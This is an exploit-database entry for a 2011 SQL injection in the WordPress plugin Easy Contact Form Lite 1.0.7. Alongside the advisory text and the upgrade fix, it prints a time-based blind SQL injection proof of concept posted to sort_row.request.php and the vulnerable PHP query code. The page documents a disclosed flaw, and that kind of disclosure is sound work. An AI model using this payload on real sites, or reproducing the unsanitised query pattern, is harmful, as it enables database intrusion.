header-logo
Suggest Exploit
vendor:
Easy Contact Form Lite
by:
Miroslav Stampar
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Easy Contact Form Lite
Affected Version From: 1.0.7
Affected Version To: 1.0.7
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:easy_contact_form_lite
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2011

WordPress Easy Contact Form Lite plugin <= 1.0.7 SQL Injection Vulnerability

A SQL injection vulnerability exists in WordPress Easy Contact Form Lite plugin version 1.0.7 and earlier. An attacker can exploit this vulnerability to inject arbitrary SQL commands via the 'field_num[]' parameter in the 'sort_row.request.php' script. This can be exploited to gain access to the database and potentially to gain access to the web server.

Mitigation:

Upgrade to version 1.0.8 or later.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Easy Contact Form Lite plugin <= 1.0.7 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/easy-contact-form-lite.zip
# Version: 1.0.7 (tested)

---
PoC (POST data)
---
http://www.site.com/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php
 field_num[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

---------------
Vulnerable code
---------------
foreach ($_POST['field_num'] as $position=>$field_id) {
	
	if ($field_id > 0) {
		$query = "
			UPDATE $settings_table_name 
			SET position = '".$position."' 
			WHERE ID = $field_id";
		$wpdb->query($query);
	}